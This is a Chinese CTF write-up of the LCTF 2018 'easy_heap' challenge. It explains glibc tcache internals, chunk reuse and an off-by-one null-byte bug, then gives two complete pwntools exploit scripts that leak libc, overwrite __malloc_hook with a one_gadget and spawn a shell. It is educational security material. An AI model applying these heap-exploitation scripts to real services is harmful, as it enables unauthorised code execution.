tcache Attack:lctf2018 easy_heap
本文摘要:
- tcache機制與特性、攻擊手段
- off-by-one漏洞
- 兩種典型記憶體洩露手段:深入分析幾處原始碼
引言:
前段時間的lctf2018中,第一道pwn題打擊很大,深感知識儲備捉襟見肘,雖然逆向分析五分鐘之內就迅速確定了off-by-one漏洞的存在,但是由於對堆塊重用機制和libc2.26之後新增的tcache機制一無所知,導致此題最終留憾;而在賽後瞭解到這兩個機制後進行的復現過程中,最深的感受就是,這年頭不好好審libc原始碼是不行了,否則真的是阻礙重重!
前置知識:堆塊重用機制與size欄位對齊計算方式
參考文章: https://www.freebuf.com/articles/system/91527.html
近期繼續匍匐在堆漏洞的學習路途上,接觸了unsorted bin attack、fastbin attack、off by one三個漏洞,不過最終還是在off by one的學習上晚了一步,導致lctf easy_heap沒能攻克下來:主要原因就是因為對堆塊重用機制和size欄位對齊處理一無所知。這篇文章將進行簡單介紹。
一、堆塊重用機制
之前在chunk結構的學習中我們已經瞭解到,presize欄位僅在前一個堆塊是空閒時才有意義,也就是說,當前一個堆塊是inuse態時,presize是可有可無的。考慮到這一點,libc採用了一種機制:當一個堆塊是inuse態時,它會把下一個堆塊的presize欄位也作為自己的使用者區,這樣就可以節省記憶體空間,這種把presize欄位在pre_chunk非空閒時用作pre_chunk的資料區的處理機制就是堆塊重用。
然而,並不是所有情況下都會使用堆塊重用!這也是今天要講的要點:
我們知道,堆塊分配時,它的大小要進行記憶體對齊,32位作業系統中,會以8位元組進行對齊(即堆塊的大小必須是8位元組的整數倍),而64位作業系統中,會以16位元組進行對齊(即堆塊的大小必須是16位元組的整數倍)。
而堆塊重用只出現在如下情況:申請的記憶體大小在按照上述規則進行向大取整後,得到的應有大小比原大小大出的值大於等於對齊位元組量的一半!
比如64位作業系統中,malloc(0x88),向大取整後是0x90,比原來大出了8個位元組,而64位下的對齊位元組量是16位元組,8位元組大於等於16的一半,因此會進行堆塊重用:0x88中的最後8位元組會存在下一個chunk的presize欄位位置。而如果是malloc(0x79),向大取整後是0x80,比原來大出7個位元組,小於16的一半,就不會發生堆塊重用。
為什麼呢?堆塊重用的初衷就是節約記憶體,當符合上述重用條件時,使用者申請的大小mod對齊位元組量後多出的那塊大小是小於等於presize欄位長度(如64位下是8位元組)的,因此多出的這塊小尾巴就正好可以順便放進presize欄位儲存,相比來說,如果不重用presize來存,而是繼續按16位元組對齊,將會產生較大的記憶體浪費;而當不符合重用條件時,多出來的小尾巴是大於presize長度的,presize就存不下了,而size欄位人家自己還有用你又不能拿來佔,因此就沒法進行堆塊重用了。
總結一下堆塊重用條件:申請的記憶體大小在按照上述規則進行向大取整後,得到的應有大小比原大小大出的值>=對齊位元組量的一半(presize欄位長度). =>也即:申請的記憶體大小mod對齊位元組量<=對齊位元組量的一半(presize欄位長度).
二、size欄位對齊計算方式
本部分闡述chunk的size欄位的值是怎麼算出來的.
size欄位的值 = 對齊補齊( size欄位長度 + 使用者申請的長度 )
我們分使用者申請的堆塊採用了重用和未採用重用兩種情況來看:
1、未採用重用:
如上圖,每格代表32位下的4位元組或64位下的8位元組,按計算公式進行對齊補齊後,共應占4個格,4個格子的長度即為size的值.
2、採用重用:
如上圖,每格代表32位下的4位元組或64位下的8位元組,按計算公式進行對齊補齊後,共應占4個格,4個格子的長度即為size的值.
我們發現:當採用了重用時,計算出來的size欄位的值是捨棄了“小尾巴”的,即重用的presize欄位長度並未算進來!
也就是說,無論是否重用,抽象掉計算過程來看,最終得到的size欄位值一定是從chunk_head到next_chunk_head間的長度!
三、漏洞挖掘中的應用
1、off by one 可以覆蓋inuse位:必須在進行了重用的情況下才能實現!
2、洩露堆地址時,加減的偏移量應取多少,需要考慮是否有重用!
題目分析:
(原題使用的libc版本為libc2.27,而本文的所有分析和使用的exp都是以libc2.26版本進行的,兩者除了一些地址偏移量不同以外,其他方面完全一致,請讀者自行注意,如果要用libc2.27調exp,只需把我們exp中的幾個偏移改動一下就可以了!)
一、逆向分析與漏洞挖掘
現在應該養成好習慣了,逆的時候應該先看libc版本!
libc2.27,引入了tcache新特性
tcache:Thread Local Caching,執行緒本地快取
故名思意,是個快取,與其執行緒對應;說到快取,應該想到“優先存取”的特點,事實上也確實如此
它也是個堆表,而且是單鏈表,其特點和fastbin基本相同,只是更弱,弱爆了,沒有首塊double free檢查也沒有size校驗,爽歪歪
tcache特殊的一點是,它的fd指標是指向使用者區的,而不是塊首,這是和其他bin的一個重要區別
此外這個東西有一個奇葩的地方,人家別的堆表都待在arena裡,但是tcache卻儲存在堆區;tcache的位置位於堆區的起始處,一共有64個連結串列,這64個連結串列的索引結點(也就是鏈首結點用於存放連結串列中第一個堆塊地址的結點)依次存放在堆區起始處;每個連結串列最多維護7個堆塊
0x01:我們來看一下tcache的相關原始碼:
1.在 tcache 中新增了兩個結構體,分別是 tcache_entry 和 tcache_pertheread_struct
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.*/ typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").Keeping overall size low is mildly important.Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.*/ typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread tcache_perthread_struct *tcache = NULL;
可以看到,連結串列結點結構體很簡單,就是一個next指標指向連結串列中下一個堆塊(的使用者資料區);然後定義了一個執行緒的完整tcache結構體,由兩部分組成,第一部分是計數表,記錄了64個tcache連結串列中每個連結串列內已有的堆塊個數(0-7),第二部分是入口表,用來記錄64個tcache連結串列中每條連結串列的入口地址(即連結串列中第一個堆塊的使用者區地址);最後一行則是初始化了一個執行緒的tcache,儲存在堆空間起始處的tcache在這一步後就完成了分配,由於tcache本身也在堆區故也是一個大chunk,因此其大小是size_chunkhead + size_counts + size_entries = 16 + 64 + 64*8 = 592 = 0x250
因此在libc2.26及以後的版本中,堆空間起始部分都會有一塊先於使用者申請分配的堆空間,大小為0x250,這就是tcache(0x000-0x24F),也就是說使用者申請第一塊堆記憶體的起始地址的最低位位元組是0x50
2.其中有兩個重要的函式, tcache_get() 和 tcache_put():
static void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } static void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
這兩個函式的會在函式 _int_free 和 __libc_malloc 的開頭被呼叫,其中 tcache_put 當所請求的分配大小不大於0x408並且當給定大小的 tcache bin 未滿時呼叫。一個 tcache bin 中的最大塊數mp_.tcache_count是7。free進去和分配出來就是用的put和get,可以看到並沒有什麼安全檢查
小結:單鏈表LIFO頭插、tcache儲存在堆區、64個bins、每個bins最多放7個chunk、tcache的next指標指向chunk的使用者資料區而不是chunk_head @tcache特性
0x02:逆向分析尋找漏洞:
丟IDA看F5(筆者已對大部分函式重新命名):
只有set_log、delet_log、print_log三個功能,顯然新建記錄和對記錄的編輯應該是捏在一起了,因為沒有單獨的編輯功能,所以應該是新建即確定內容,我們先來看看set_log:
可以看到,程式最多允許使用者維護十條記錄,索引表的每個表項只存一個記錄指標和記錄的大小,指標為空就是沒記錄,不為空就是有內容,還是非常的簡潔的;分配用的函式是malloc,大小固定為0xF8,然後讓使用者輸入要輸入內容的長度,不得長於0xF8,然後就到了輸入內容的部分了,輸入內容單獨用一個函式read_content來實現,傳入的引數是寫入目標地址和使用者輸入的size,我們跟進這個函式看看:
a2就是使用者輸入的內容長度,是0的話就直接向目標記憶體寫一個0x00
a2不為零時,迴圈一個位元組一個位元組讀,如果沒有觸發0x00或n觸發截斷的話,迴圈條件就是判斷a2-1<v3,按理說v3作為下標應該是從0讀到a2-1,但是read函式是在if之前執行的,也就是說,當v3遞增至v3 = a2 – 1後,經過一次++v3後v3就等於a2了,已經溢位了,但是下一輪迴圈在if之前已然read給了a1[v3]即a1[a2],溢位了一個位元組,也就是說只要使用者輸入長度為0xf8,最終對應的堆塊就一定會被溢位一個位元組踩到下一個堆塊的開頭
注意往下兩行a1[v3] = 0和a1[a2] = 0,v3代表的是讀入的最終停止位置,a2代表的是使用者輸入的長度,但是顯然這裡的處理是錯誤的,應該是a1[a2-1]=0,也就是說,如果使用者輸入的長度是0xf8,即使使用者提前用0x00或n停止了輸入,依然會溢位一個位元組0x00踩到下個堆塊
綜上,使用者可以通過輸入長度0xf8,來溢位一個位元組踩到下個堆塊,但是存在限制,通過溢位寫入位元組只能是0x00;這就是典型的由於緩衝區邊界檢查邏輯考慮不周導致的OFF BY ONE漏洞。
再來看一下delet_log:
該置零的都置零了,沒有漏洞,給個贊
最後看看print_log,這是我們洩露記憶體的唯一依據:
做了存在性檢查,又由於delet_log是安全的,故這裡沒有利用點;此外列印用的是puts,遇到0x00和n會截斷,洩露記憶體時注意一下即可
小結:存在off by one漏洞,通過在輸入長度時輸入0xf8觸發
二、漏洞利用分析
現在已經能夠確定:存在off by one,但是溢位只能寫入0x00
那麼到底踩到了下一個堆塊的哪一部分呢?chunk的頭部依次是pre_size和size欄位,故踩到的是pre_size的最低位元組…..
還沒反應過來的讀者請學習筆者之前的文章《堆塊重用機制與size欄位對齊計算方式》
malloc申請的大小是0xf8,滿足堆塊重用條件,故發生了堆塊重用,因此溢位的那個位元組踩到的是下一個chunk的size欄位的最低位元組,被篡改成了00.
size欄位原本應該是0x101(不知道怎麼算出來的仍舊參考堆塊重用那篇文章),所以我們實際上是將0x01改寫成了0x00,在沒有破壞到原有大小值的情況下將pre_inuse位覆蓋成了0,成功偽造了pre_chunk為free態的假象,進一步可以觸發合併
當然,我們的最終目的是劫持函式指標(此次仍是揍malloc_hook),方法我們還是打算用經典的double link法,嘗試構造兩個使用者指標索引同一個chunk,然後free一個,再通過另一個篡改next指標劫持到malloc_hook,然後分配到malloc_hook再篡改一下劫持到onegadget就行了
然後我們需要洩露到libc的地址來定位malloc_hook和onegadget
這樣一來,現在的情況是:可以off by one觸發合併、需要洩露libc、需要tcache attack劫持控制流
目的明確,我們現在先思考如何洩露libc
之前筆者的文章中總結過洩露記憶體有兩種典型思路:堆擴張和重索引
tcache在堆區,其中的資料都對洩露libc沒啥幫助,只能洩露堆區地址,我們應該想辦法能構造出unsorted bin chunk才能進一步嘗試洩露libc地址。怎麼進unsorted bin chunk呢?在引入tcache機制後,在申請的大小符合規定時,只要tcache裡面還有符合要求的,就先從tcache裡面出,在free掉一個堆塊後,只要與其大小對應的tcache連結串列還沒滿(不足7個),就一定先進tcache @tcache特性;因此想要free一個chunk進unsorted bin,必須先free掉7個相同大小的chunk把tcache填滿,才能把它弄進unsorted bin,同樣,你要把它再拿出來,也要先malloc 7次把tcache清空了才能拿到unsorted bin裡的。
此外,我們需要了解tcache轉移機制:當用戶申請一個堆塊的時候,如果tcache已經為空,而fastbin/smallbin/unsorted bin中有size符合的chunk時,會先把fastbin/smallbin/unsorted bin中的chunk全部轉移到tcache中直到填滿,然後再從tcache中拿(這就很符合快取的特性);轉移的過程其實就是前者的常規拆卸操作和後者的常規鏈入操作。@tcache特性
注意:經除錯證實,unsorted bin合併時,合併後的堆塊不會進tcache,在從一個大的unsorted bin chunk分割出chunk的情形下,分出來的和剩下的都不會進tcache! @tcache特性
也就是說,如果你想從unsorted bin裡拿到一個chunk,如果你認為連續malloc 7次清空了tcache後,再malloc一個就是直接把unsorted bin鏈尾的那個chunk拿出來就ok了,那就大錯特錯了!unsorted bin裡的chunk這時候必須要全部都轉移進tcache,然後再從tcache裡往外拿!(注意unsorted bin是FIFO,tcache是LIFO)
瞭解了以上幾個特性,我們可以正式開始考慮,如何利用off by one帶來的非法堆塊合併來洩露記憶體了:
首先我們應該對堆塊合併可能帶來的利用面熟悉於心:一旦通過偽造preinuse導致合併後,將會獲得一個使用者指標指向一個已經“被free”了的(在bin中的)堆塊,顯然這個堆塊既然由於被非法合併進了bin,就可以再次被分配到,當它再次被分配到的時候就有兩個使用者指標指向它了,這就成功地打出了雙重索引;此外,被合併的堆塊既然進了bin的同時又有著一個使用者指標的索引,那麼顯然可以通過這個使用者指標進行讀操作洩露fd和bk;另外,如果有理想的溢位條件,則可以隔塊合併實現堆擴張來攻擊中間的那個堆塊,這種手段的好處是最前面的那個堆塊可以提前free掉,就天然形成合法的fd和bk了,避免了困難的構造。
非常好,看來可以一舉兩得了,洩露fd和bk可以讓我們拿到libc地址,而同時有可以構造出雙重索引來進行下一步的tcache attack劫持。下面我們來看如何來完成這個偉大的合併:
第一點肯定是要過unlink的“自閉”檢查了(檢查fd的bk和bk的fd是不是自己,也就是自閉症檢查,不管堆塊有沒有,反正我有,我是真的自閉了),你要合併成功,就得讓堆塊自閉,不然你就得自閉…我說的是不是很有道理…也就是說fd和bk的值必須得滿足檢查才行。
*注:此外在libc2.26中,被unlink堆塊的size還要和被free堆塊的presize對上才行,某些時候就需要偽造,詳見之後的文章《libc版本差異:unlink檢查》
這也是難點所在,我們可愛又可恨的set_log函式給了我們off by one,卻也給了我們字元截斷,這樣我們如果想通過先free再分配再讀的思路洩露記憶體,再分配的時候由於截斷的機制你永遠別想達成目的,就只能藉助堆塊合併帶來的攻擊面來洩露,但仍不輕鬆:
我要在相鄰堆塊間觸發unlink,就有一個問題,既然被unlink的堆塊被一個使用者指標索引著,那也就是說,被unlink的堆塊已經被分配到了,也就是說不考慮UAF的情況(因為本例中未出現UAF漏洞),那麼這個堆塊是通過合法途徑分配到的,考慮合法的分配途徑,比如從top chunk出、從unsorted bin出、從small bin出、從fastbin出,都過不了自閉檢查,那麼要過自閉檢查的話無非就兩種思路了:第一是能通過某種辦法使得被unlink堆塊的fd和bk能過自閉檢查,第二是隔塊合併利用天然fd和bk過檢。
第二種思路筆者很喜歡,因為隔塊合併大法經常會陰差陽錯地天然繞過libc2.26的__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)檢查,而不用刻意構造size合法
第一種思路可以作為tcache類pwn的一個通用技巧來介紹:基於之前介紹的特性,當用戶申請chunk時若tcache已空、unsorted bin還有,那unsorted bin裡的所有chunk會先全部轉移進tcache再從tcache中一個個出,又由於unsorted bin和tcache分別是FIFO和LIFO,讀者自己推演一下這個過程不難發現,轉移前後各chunk的bk是不會改變的,而fd的最低位元組會由0x00變成0x10(tcache的fd指向chunk資料區)其他位元組和原來一模一樣!而在此題中,原始碼的寫入邏輯決定了可以把這個0x10寫成0x00,這樣一來轉移前後這幾個chunk的fd和bk都和原來在unsorted bin中時一樣,保護了合法關係,為進一步堆塊合併攻擊做好了鋪墊!
三、EXPLOIT
這兩種思路具體怎麼實施呢?下面分別給出作者根據第一種和第二種思路開發的exp:
EXP1:利用u2t轉移
from pwn import * #ARCH SETTING context(arch = 'amd64' , os = 'linux') r = process('./easy_heap') #r = remote('127.0.0.1',9999)
#FUNCTION DEFINE def new(size,content): r.recvuntil("?n> ") r.sendline("1") r.recvuntil("size n> ") r.sendline(str(size)) r.recvuntil("content n> ") r.send(content) def newz(): r.recvuntil("?n> ") r.sendline("1") r.recvuntil("size n> ") r.sendline(str(0)) def delet(idx): r.recvuntil("?n> ") r.sendline("2") r.recvuntil("index n> ") r.sendline(str(idx)) def echo(idx): r.recvuntil("?n> ") r.sendline("3") r.recvuntil("index n> ") r.sendline(str(idx)) #MAIN EXPLOIT #memory leak for i in range(10): newz() #choose chunk0 2 4 into unsorted bin delet(1) delet(3) for i in range(5,10): delet(i) #now tcache filled ,waiting queue is idx.1 , 3 , 5~10 #make unsorted bin: ustbin -> 4 -> 2 -> 0 ,then chunk2 will be leak_target_chunk delet(0) delet(2) delet(4) #waiting queue is idx.0~10chunk9~5 , 3 , 1 ,and now all chunks was freed ,heap was null #clean tcache for i in range(7): newz() #chunk3 is idx.5 (987653:012345) #unsorted_bin trans to tcache newz() #idx.7:pushing 0x00 on the lowest byte will hijack leak_target_chunk.BK's fd bingo on target! new(0xf8,'x00') #idx.8:1.off-by-one the preinuse bit of chunk3 2.hijack the lowest byte of leak_target_chunk correctly to FD #fill tcache but don't touch idx.7 , 8 , 5 (six enough considering chunk0 remained in tcache) for i in range(5): delet(i) delet(6) #merge & leak delet(5) echo(8) unsorted_bin = u64(r.recv(6).ljust(8,'x00')) libc_base = unsorted_bin - 0x3dac78 print(hex(libc_base)) malloc_hook = libc_base + 0x3dac10 onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde #hijack #clean tcache for i in range(7): newz() newz() #idx.9 #now we hold idx.8&9 pointing chunk2 delet(0) #passby counts check delet(8) delet(9) new(0x10,p64(malloc_hook)) newz() new(0x10,p64(onegadget)) #fire #according to the logic that size is inputed after malloc delet(1) #passby idxtable full check #x = input("fucking") r.recvuntil("?n> ") r.sendline("1") r.interactive()
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
EXP2:利用隔塊合併攻擊
from pwn import * #ARCH SETTING context(arch = 'amd64' , os = 'linux') r = process('./easy_heap') #r = remote('127.0.0.1',9999)
#FUNCTION DEFINE def new(size,content): r.recvuntil("?n> ") r.sendline("1") r.recvuntil("size n> ") r.sendline(str(size)) r.recvuntil("content n> ") r.send(content) def newz(): r.recvuntil("?n> ") r.sendline("1") r.recvuntil("size n> ") r.sendline(str(0)) def delet(idx): r.recvuntil("?n> ") r.sendline("2") r.recvuntil("index n> ") r.sendline(str(idx)) def echo(idx): r.recvuntil("?n> ") r.sendline("3") r.recvuntil("index n> ") r.sendline(str(idx)) #MAIN EXPLOIT #memory leak #prepare for EG attack ,we will build a chunk with presize 0x200 for i in range(10): newz() #fill tcache for i in range(3,10): delet(i) #chunk0 1 merge to ustbin, and the chunk2.presize will be 0x200 delet(0) delet(1) delet(2) #to make presize stable;maybe only link change both presize and sizeinuse, unlink only change inuse #x = input("debug") #then our target is cross-merge #for cross-merge we must make sure that chunk0 is freed for bypass #clean tcache for i in range(7): newz() #idx.0~7 #x = input("debug33") newz() #idx.7 chunk0 #x = input("debug33") newz() #idx.8 chunk1 #x = input("debug33") newz() #idx.9 chunk2 #x = input("debugggg") #fill tcache for i in range(0,7): delet(i) #chunk0 into unsorted bin to correct fd & bk for bypass unlink check delet(7) #out a chunk from tcache to give a space for chunk1 in-out ,in order to prevent merging again newz() #idx.0 delet(8) new(0xf8,'x00') #idx.1 ,we hold it delet(0) #give back idx.0 to refill tcache delet(9) #fire #x = input("debug0") #clean tcache for i in range(7): newz() #idx:0 , 2~7 newz() #idx.8 to cut chunk0, now chunk1.fd & bk point unsorted bin merging with chunk2 #x = input("debug") echo(1) unsorted_bin = u64(r.recv(6).ljust(8,'x00')) libc_base = unsorted_bin - 0x3dac78 print(hex(libc_base)) malloc_hook = libc_base + 0x3dac10 onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde #x = input("pause") #hijack newz() #idx.9 #now we hold idx.1&9 pointing chunk1 delet(0) #passby counts check delet(1) delet(9) new(0x10,p64(malloc_hook)) newz() new(0x10,p64(onegadget)) #fire #according to the logic that size is inputed after malloc delet(2) #passby idxtable full check #x = input("fucking") r.recvuntil("?n> ") r.sendline("1") r.interactive()
-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
四、exp詳解
1.細節問題:就是該題的索引表儲存上限只有10個,exp執行過程中要時刻注意是否滿了,以保證能通過索引表填滿的檢查
2.exp1個人感覺沒啥大問題,讀者自己讀一下exp程式碼、註釋,跟著調一下問題應該不大
3.exp2讀者如果有問題的話,我猜應該是和size、presize、preinuse這三個關鍵欄位是在何時設定有關,因為這直接影響到能否通過諸多檢查,我們在下面“特性補充”部分單獨說
五、特性補充
一、
1.preinuse位何時置零:僅在前塊link入unsorted bin過程中置零
2.size欄位何時設定:僅在①alloc過程中設定 ②合併過程中合併後link入unsorted bin前設定
*3.presize欄位何時設定:僅在前塊link入unsorted bin過程中設定
4.單獨的unlink動作不對後塊preinuse位置1
5.堆塊合併過程:先unlink前塊,再合併,再link入unsorted bin
6.堆塊合併過程中,指標變化和合並後的size計算是以使用者free的那個塊為中心,而前面提到的size==next.presize檢查則是以被合併的前塊為中心:堆塊指標在合併後直接用presize值前推偏移,新size也是使用者free塊的size直接加上presize,而新增檢查則是以前塊為中心的
二、因此,我們的exp2實現隔塊合併攻擊的思路就是:
1.製造仨chunk全都free合併入unsorted bin:這時chunk3的presize為2*chunk
2.再把它們分配出來
3.chunk1給free進unsorted bin:①隔塊合併它的時候能天然繞過bk、fd那個檢查 ②chunk2的presize為1*chunk
4.chunk2先free進tcache,再分配到它off by one:①程式碼邏輯決定只能在分配的時候寫那麼一次而沒有單獨的編輯函式 ②進tcache要先new出一個騰地方,不能進unsorted bin是為了防止和chunk1合併破壞之前的鋪墊
5.free掉chunk3即可隔塊合併到chunk1:chunk3的presize是2*chunk找到chunk1了,chunk1做size檢查詢到chunk2的presize是1*chunk繞過成功,fd、bk那個檢查也是天然過的
六、思考與總結
其實堆的利用有點像華容道、推箱子這種遊戲,倒來倒去的,所以建議大家多玩這種遊戲(突然智障233333)
libc的原始碼還是要審的,強烈建議各位一定抽時間一天看一點,把libc原始碼爭取能全部看完
最後留一個挑戰:讀者認為該題進行隔塊合併攻擊時,開始只需要倆chunk進unsorted bin就可以了,chunk3開始是沒必要delet的,你覺得是不是更簡潔呢?不妨按這個思路自行寫寫exp看,筆者還沒有這樣寫過,寫好會在下一篇文章補充發上來哦~